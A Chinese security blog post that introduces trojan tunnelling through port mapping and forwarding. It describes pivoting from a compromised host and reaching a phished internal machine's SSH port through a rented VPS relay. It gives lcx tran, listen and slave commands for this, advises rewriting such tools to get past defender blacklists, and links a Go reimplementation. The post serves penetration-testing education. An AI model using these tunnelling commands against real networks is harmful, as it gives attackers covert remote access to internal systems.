前言
今天开始讲讲木马攻防, 感觉这些内容大家应该会更感兴趣一些, 就从隧道木马说起. 为什么会有隧道木马这一说呢? 这是根据通信协议进行分类的. 讲隧道木马之前, 先讲讲端口映射和转发. 端口映射和端口转发其实是一回事, 原理是一样的, 由于应用场景不同, 才产生了不同的含义.
场景 1 端口映射
端口映射的使用, 以下图为例, 这是一个在渗透测试中, 比较常见的场景.
一个 hacker 通过扫描暴露到公网中的主机 A , 主机 A 开放了一些敏感端口, 而且是弱口令, 导致主机 A 被 hacker 完全控制.
接着 hacker 就想往公司内网中渗透, 通过在主机 A 监控流量或者扫描的方式, 发现了主机 B, 但是主机 B 只能由主机 A 进行访问, 开放了 80 端口, 而且没有公网 ip.
如果 hacker 想直接访问主机 B 的 80 端口, 对上面的 web 服务进行继续渗透, 这就需要进行端口映射, 让 hacker 可以远程连接到 80 端口.
从上图场景中看, 端口映射是将内网主机 B 的 80 端口映射到了具有公网 ip 的主机 A 上, 本质上是将一个本来无法访问的端口映射到可以访问的 ip 上了.
场景 2 端口转发
端口转发又是另外一个场景, 在渗透测试中, 也很常见. 如下图所示.
hacker 位于主机 A, 主机 A 可能是个人电脑, 也可能是 hacker 控制的主机.
hacker 通过发送恶意邮件的方式给主机 B, 主机 B 的用户点开邮件, 运行恶意木马导致主机 B 被感染, 就成了我们俗称的 "肉鸡". 虽然已经有木马运行在主机 B 中, 但是由于主机 B 不在公网中, hacker 无法访问到主机 B.
主机 B 运行着 SSH 服务, 开放着 22 端口, hacker 如果想在主机 A 上直接连接主机 B 的 22 端口, 执行 shell 命令, 这就需要端口转发.
那么木马怎么实现端口转发, 才能让 hacker 访问主机 B 的 22 端口呢? 这就需要一台主机 C, 一个公网的 VPS, 去阿里云或者腾讯云买. 木马的服务端运行在主机 C, 同时监听两个端口 port1 与 port2, 木马的客户端运行在主机 B, 分别主动连接主机 B 的 22 端口和主机 C 的 port2, 而 hacker 只需要主动连接主机 C 的 port1, 这样就打通了到主机 B 22 端口的线路. 如下图所示.
lcx 是一款内网端口转发工具, 用于将内网主机开放的内部端口映射到外网主机 (有公网 IP) 任意端口. 这个工具很早就已经有了, 现在已经有跨平台的了, 支持在 Windows,Linux 下使用. 还有一些根据 lcx 源码开发的其他版本, 比如 jsp 版, http 隧道版等等. 代码如下:
https://github.com/windworst/LCX/
下面说一下它的使用以及功能说明:
- Usage of Packet Transmit:
- ./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
- ./lcx -about
- [options:]
- -listen <local port1> <local port2>
- -tran <local port> <remote host> <remote port>
- -slave <remote host1> <remote port1> <remote host2> <remote port2>
- -hex : hex mode data dump
- -text : text mode data dump
- -log : save transfer log
对于场景 1, 可以使用 lcx 的 tran 模式来实现. 假设主机 A 公网 ip 10.10.10.1, 主机 B 内网 ip 为 192.168.1.5, 开放 80 端口. 在主机 A 上运行 :
./lcx -tran 8080 192.168.1.5 80
这个时候, hacker 只要连接到主机 A 的 8080 端口, 即可访问到主机 B 的 80 端口.
对于场景 2, 使用 lcx 的 listen 和 slave 模式来实现. 假设主机 C 公网 ip 10.10.10.1, 主机 B 内网 ip 为 192.168.1.5, 开放 22 端口. 在主机 C 上监听 8080 和 8081 端口:
./lcx -listen 8080 8081
在主机 B 上连接 22 端口, 并连接主机 C 的 8081 端口:
./lcx -slave 192.168.1.5 22 10.10.10.1 8081
这个时候, hacker 只需要连接 ip10.10.10.1 的 8080 端口, 即可直接连接到 22 端口, 执行命令.
取代 lcx
使用工具很简单, 但是对这些工具的封锁也很简单. 这些开源的网络安全工具早就处于防御端的黑名单里. 因此自己写一个类似的工具也是一项必备的能力. 在 GitHub 中就有这样类似的项目:
https://github.com/cw1997/NATBypass
代码很简单, 只是单个 golang 文件, 仿照 lcx 是实现了 listen,tran 和 slave 功能. 关键的代码很简单, 对应了下图中三个红框圈住的三个函数.
最后
关注公众号: 七夜安全博客
回复[1] : 领取 Python 数据分析 教程大礼包
回复[2] : 领取 Python Flask 全套教程
回复[3] : 领取 某学院 机器学习 教程
回复[4] : 领取 爬虫 教程
回复[5] : 领取 编译原理 教程
回复[6] : 领取 渗透测试 教程
回复[7] : 领取 人工智能数学基础 教程
来源: https://www.cnblogs.com/qiyeboy/p/10350621.html